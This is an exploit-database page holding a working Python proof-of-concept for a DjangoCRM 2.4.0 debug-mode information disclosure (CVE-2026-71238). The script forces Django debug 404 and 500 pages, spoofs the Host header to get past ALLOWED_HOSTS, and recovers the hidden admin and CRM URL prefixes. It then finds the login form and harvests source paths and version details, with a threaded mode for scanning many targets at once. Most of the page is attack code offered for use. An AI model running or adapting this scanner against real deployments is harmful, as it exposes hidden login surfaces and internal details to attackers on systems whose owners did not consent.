Lucene search
+L

📄 DjangoCRM 2.4.0 Debug Information Disclosure

🗓️ 10 Aug 2026 00:00:00Reported by 1dayexploitType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 23 Views

PoC exploit for DjangoCRM 2.4.0 information disclosure via debug mode exposing URLs and data.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-71238
5 Aug 202610:56
attackerkb
circl
Circl
CVE-2026-71238
5 Aug 202611:34
circl
cve
CVE
CVE-2026-71238
5 Aug 202610:56
cve
cvelist
Cvelist
CVE-2026-71238 DjangoCRM - Hardcoded Django SECRET_KEY Enables Session and CSRF Token Forgery
5 Aug 202610:56
cvelist
euvd
EUVD
EUVD-2026-53311
5 Aug 202610:56
euvd
nvd
NVD
CVE-2026-71238
5 Aug 202611:16
nvd
vulnrichment
Vulnrichment
CVE-2026-71238 DjangoCRM - Hardcoded Django SECRET_KEY Enables Session and CSRF Token Forgery
5 Aug 202610:56
vulnrichment
#!/usr/bin/env python3
    """
    CVE-2026-71238 - DjangoCRM (django-crm) unauthenticated debug information disclosure
    Affected: DjangoCRM 0.91 through 2.4.0 (default committed webcrm/settings.py, DEBUG=True)
    Type: Information disclosure (CWE-489 / CWE-215; NVD labels it auth bypass via CWE-798)
    
    Root cause:
      django-crm ships webcrm/settings.py with DEBUG=True and a set of "secret" URL
      prefixes (SECRET_CRM_PREFIX / SECRET_ADMIN_PREFIX) that are the application's only
      access-control-by-obscurity gate for the admin and CRM sites. With DEBUG on, Django's
      technical_404_response renders the resolved URLconf on any unmatched path, printing
      those live prefixes to any anonymous requester - defeating the obscurity control even
      when the deployer replaced the defaults with unguessable values. A second unauthenticated
      endpoint, /voip/get-callback/, raises TypeError and returns a full technical_500 debug
      page (application source, frame locals, absolute paths, framework/interpreter versions).
    
      Note on the advisory's account-takeover claim: it does not reproduce in the shipped
      configuration. Sessions are DB-backed (nothing in the cookie is signed), CSRF tokens are
      random since Django 4.0, no django.core.signing consumer exists, and the 500 page masks
      SECRET_KEY/passwords. This exploit targets the verified, remotely observable primitive:
      the disclosure, chained to locate the (possibly re-prefixed) authentication surface.
    
    Usage:
      python exploit.py --host 127.0.0.1 --port 8000
      python exploit.py --host http://crm.corp.com:8000
      python exploit.py --host https://crm.corp.com
      python exploit.py --list targets.txt --workers 20
    """
    
    import argparse
    import re
    import sys
    from html import unescape
    from urllib.parse import urlparse
    
    try:
        import requests
        from requests.packages.urllib3.exceptions import InsecureRequestWarning
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    except ImportError:
        print("This exploit requires the 'requests' library: pip install requests")
        sys.exit(2)
    
    CVE_ID    = "CVE-2026-71238"
    VULN_TYPE = "Info Disclosure"
    
    # ALLOWED_HOSTS in the shipped settings is ['localhost', '127.0.0.1'] and is enforced
    # even with DEBUG=True. Any other Host returns 400 before a view runs. We first try the
    # target's own Host, then fall back to these so both stock and re-configured deployments
    # are covered.
    FALLBACK_HOSTS = ["localhost", "127.0.0.1"]
    
    # A path that will never match a real route but does carry a valid i18n language prefix,
    # which is mandatory for the nested (secret-prefix) portion of the URLconf to render.
    PROBE_404_PATH = "/en/nonexistent-zzz-probe"
    PROBE_500_PATH = "/voip/get-callback/"
    
    
    def header(host, port):
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n, msg):
        print(f"[STEP {n}] {msg}")
    
    
    def section(label, content):
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success, evidence):
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------- #
    #  HTTP helpers
    # --------------------------------------------------------------------------- #
    
    def _base_url(host, port, use_tls):
        scheme = "https" if use_tls else "http"
        # Only include the port when it is not the scheme default, so the auto-sent Host
        # header stays clean for targets that whitelist a bare hostname.
        if (use_tls and port == 443) or (not use_tls and port == 80):
            return f"{scheme}://{host}"
        return f"{scheme}://{host}:{port}"
    
    
    def _get(host, port, use_tls, path, timeout=15, allow_redirects=False):
        """
        GET path, transparently working around ALLOWED_HOSTS. Returns a requests.Response.
        If the target rejects our Host with 400, retry forcing localhost / 127.0.0.1.
        """
        url = _base_url(host, port, use_tls) + path
        resp = requests.get(url, timeout=timeout, verify=False,
                            allow_redirects=allow_redirects)
        if resp.status_code == 400:
            for h in FALLBACK_HOSTS:
                resp = requests.get(url, timeout=timeout, verify=False,
                                    allow_redirects=allow_redirects,
                                    headers={"Host": h})
                if resp.status_code != 400:
                    break
        return resp
    
    
    def _parse_prefixes(body):
        """
        Given a Django technical_404 body, recover the nested (post-language) URL prefixes.
        Returns (crm_prefix, admin_prefix, all_prefixes) where crm_prefix is the most
        frequently mounted nested prefix (the CRM site) and admin_prefix is a distinct one
        (the admin site). Any element may be None if it could not be determined.
        """
        if "Django tried these URL patterns" not in body:
            return None, None, []
        text = unescape(body)
        # Each nested pattern renders as two adjacent <code> blocks: the language prefix
        # ("en/") followed by the secret prefix ("123/"). Capture the second of each pair.
        pairs = re.findall(
            r"<code>\s*([A-Za-z]{2}(?:-[A-Za-z]{2})?/)\s*</code>\s*"
            r"<code>\s*([^<\s][^<]*?)\s*</code>",
            text,
        )
        counts = {}
        order = []
        for _lang, nested in pairs:
            nested = nested.strip()
            if not nested:
                continue
            if nested not in counts:
                counts[nested] = 0
                order.append(nested)
            counts[nested] += 1
        if not order:
            return None, None, []
        ranked = sorted(order, key=lambda p: (-counts[p], order.index(p)))
        crm = ranked[0]
        admin = None
        for p in ranked[1:]:
            admin = p
            break
        return crm, admin, order
    
    
    def _parse_500(body):
        """Extract the headline fields from a Django technical_500 debug page."""
        text = body
        fields = {}
        for key in ("Exception Type", "Exception Value", "Exception Location",
                    "Django Version", "Python Version"):
            m = re.search(r"<th[^>]*>%s:</th>\s*<td>(.*?)</td>" % re.escape(key),
                          text, re.S)
            if m:
                fields[key] = unescape(re.sub(r"<[^>]+>", "", m.group(1))).strip()
        frame_files = re.findall(r'<code class="fname">([^<]+)</code>', text)
        return fields, frame_files
    
    
    # --------------------------------------------------------------------------- #
    #  Core exploitation
    # --------------------------------------------------------------------------- #
    
    def _try_exploit(host, port, use_tls, path="/"):
        """
        Silent probe for scan mode. Returns (success, evidence). Never prints or exits.
        Success = the technical_404 page leaks the nested URLconf prefixes.
        """
        try:
            resp = _get(host, port, use_tls, PROBE_404_PATH)
        except Exception as e:
            return False, f"unreachable ({e.__class__.__name__})"
        if resp.status_code == 400:
            return False, "HTTP 400 - ALLOWED_HOSTS rejected every Host we tried"
        body = resp.text
        if "Django tried these URL patterns" not in body:
            return False, "no debug 404 (DEBUG=False or not django-crm) - likely patched"
        crm, admin, allp = _parse_prefixes(body)
        if not allp:
            return False, "debug 404 present but no nested prefixes leaked"
        ev = f"URLconf leaked; CRM prefix '{crm}'"
        if admin:
            ev += f", admin prefix '{admin}'"
        return True, ev
    
    
    def exploit(host, port, use_tls, path="/"):
        header(host, port)
    
        # ---- STEP 1: technical_404 URLconf disclosure (rung 2: recover secret prefixes) ----
        step(1, f"Requesting a bogus i18n path to dump the URLconf ({PROBE_404_PATH})")
        try:
            r404 = _get(host, port, use_tls, PROBE_404_PATH)
        except Exception as e:
            done(False, f"target unreachable: {e.__class__.__name__}: {e}")
    
        if r404.status_code == 400:
            done(False, "HTTP 400 for every Host tried - ALLOWED_HOSTS blocked the probe "
                        "(harness/Host issue, not proof of patching)")
    
        body404 = r404.text
        if "Django tried these URL patterns" not in body404:
            section("SERVER RESPONSE (first 400 bytes)", body404[:400])
            done(False, f"HTTP {r404.status_code} with no technical-404 URLconf listing - "
                        "DEBUG is False or this is not django-crm (target not vulnerable)")
    
        crm, admin, allp = _parse_prefixes(body404)
        m = re.search(r"(Django tried these URL patterns.*?)</ol>", body404, re.S)
        listing = unescape(re.sub(r"\s+", " ", re.sub(r"<[^>]+>", " ", m.group(1)))).strip() if m else "(unparsed)"
        section("LEAKED URLCONF (HTTP %d)" % r404.status_code, listing[:1200])
        print(f"    -> recovered CRM prefix   : {crm}")
        print(f"    -> recovered admin prefix : {admin}")
        print(f"    -> all nested prefixes    : {', '.join(allp)}\n")
    
        # ---- STEP 2: chain the leak to locate the authentication surface -------------------
        login_evidence = None
        if crm:
            step(2, f"Following the recovered CRM prefix /en/{crm} to its login form")
            try:
                rlogin = _get(host, port, use_tls, f"/en/{crm}", allow_redirects=True)
                has_csrf = "csrfmiddlewaretoken" in rlogin.text
                final = rlogin.url
                if rlogin.status_code == 200 and has_csrf:
                    login_evidence = final
                    section("AUTHENTICATION SURFACE LOCATED",
                            f"GET /en/{crm} -> {final}\n"
                            f"HTTP {rlogin.status_code}, CSRF-bearing login form present "
                            f"(csrfmiddlewaretoken found).")
                else:
                    section("AUTHENTICATION SURFACE",
                            f"GET /en/{crm} -> {final} (HTTP {rlogin.status_code}, "
                            f"csrf={'yes' if has_csrf else 'no'})")
            except Exception as e:
                print(f"    login-surface probe failed: {e.__class__.__name__}: {e}\n")
        else:
            step(2, "No CRM prefix recovered; skipping login-surface chain")
    
        # ---- STEP 3: technical_500 source/traceback disclosure (rung 3) --------------------
        step(3, f"Triggering an unauthenticated exception ({PROBE_500_PATH}) for the 500 debug page")
        fields = {}
        frame_files = []
        try:
            r500 = _get(host, port, use_tls, PROBE_500_PATH)
            if r500.status_code == 500 and "Exception Type:" in r500.text:
                fields, frame_files = _parse_500(r500.text)
                app_frames = [f for f in frame_files if "site-packages" not in f]
                summary = "\n".join(f"{k}: {v}" for k, v in fields.items())
                summary += "\n\nApplication source frames disclosed:\n  " + \
                           "\n  ".join(app_frames[:8] if app_frames else ["(none parsed)"])
                summary += f"\n\nTotal traceback frames with file paths: {len(frame_files)}"
                section("LEAKED 500 DEBUG PAGE (HTTP %d, %d bytes)" %
                        (r500.status_code, len(r500.content)), summary)
            else:
                print(f"    /voip/get-callback/ returned HTTP {r500.status_code} "
                      f"(no 500 debug page); relying on the 404 disclosure.\n")
        except Exception as e:
            print(f"    500 probe failed: {e.__class__.__name__}: {e}\n")
    
        # ---- verdict -----------------------------------------------------------------------
        evidence_bits = []
        if allp:
            evidence_bits.append("URLconf prefixes leaked (" + ", ".join(allp) + ")")
        if login_evidence:
            evidence_bits.append(f"login surface located at {login_evidence}")
        if fields.get("Exception Type"):
            evidence_bits.append(
                "500 debug page leaked %s / %s / %s" % (
                    fields.get("Exception Type", "?"),
                    fields.get("Django Version", "?"),
                    fields.get("Python Version", "?"),
                ))
        done(True, "; ".join(evidence_bits) if evidence_bits
             else "unauthenticated debug disclosure confirmed")
    
    
    # --------------------------------------------------------------------------- #
    #  Target parsing + scan mode
    # --------------------------------------------------------------------------- #
    
    def _parse_target(line, default_port, default_path="/"):
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file, default_port, workers=10):
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            ok, evidence = _try_exploit(host, port, use_tls, path)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - "
                      f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / "
              f"{total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                                "(e.g. http://host:8000)")
        target_grp.add_argument("--list", metavar="FILE",
                                help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=8000,
                            help="Default port (default: 8000)")
        parser.add_argument("--workers", type=int, default=10,
                            help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, path)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.19.1
EPSS0.00313
SSVC
23